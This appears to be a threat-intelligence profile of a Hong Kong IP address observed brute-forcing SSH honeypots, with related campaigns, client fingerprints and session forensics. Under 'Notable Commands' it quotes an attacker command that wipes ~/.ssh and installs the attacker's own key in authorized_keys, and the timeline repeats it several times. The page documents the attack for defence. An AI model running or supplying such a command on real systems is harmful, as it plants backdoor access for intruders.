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Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
245
Above average by volume
Agent Count
1
First / Last Seen
2026-04-29 03:48 — 2026-05-07 15:00
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
Subnet 165.154.5.0/24
SUBNET
Active
high
🇭🇰 HK
3 IPs
668 events
ssh:bruteforce
2026-03-30 — ongoing · 3 IPs from the same /24 subnet (165.154.5.0/24) were observed attacking our sensors within the same time window. …
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (523 IPs, 75 countries)
HASSH
Active
high
🇭🇰 HK
523 IPs
262455 events
ssh:bruteforce
2026-02-28 — ongoing · 523 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
Session Forensics
Sessions
41 (10 with login)
Avg Depth Score
0.33
Commands Executed
15
Files Downloaded
5
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
64cdd81014a1
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
3c031779c1b5
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
f21e8b0d520b
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
777a0126b285
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
e50adcaf3d5c
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
6c7bdf3bbb4c
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
2ea704d1ab96
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
9ae541e7cc28
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
b4d48384fa7f
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
6ba485686d40
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0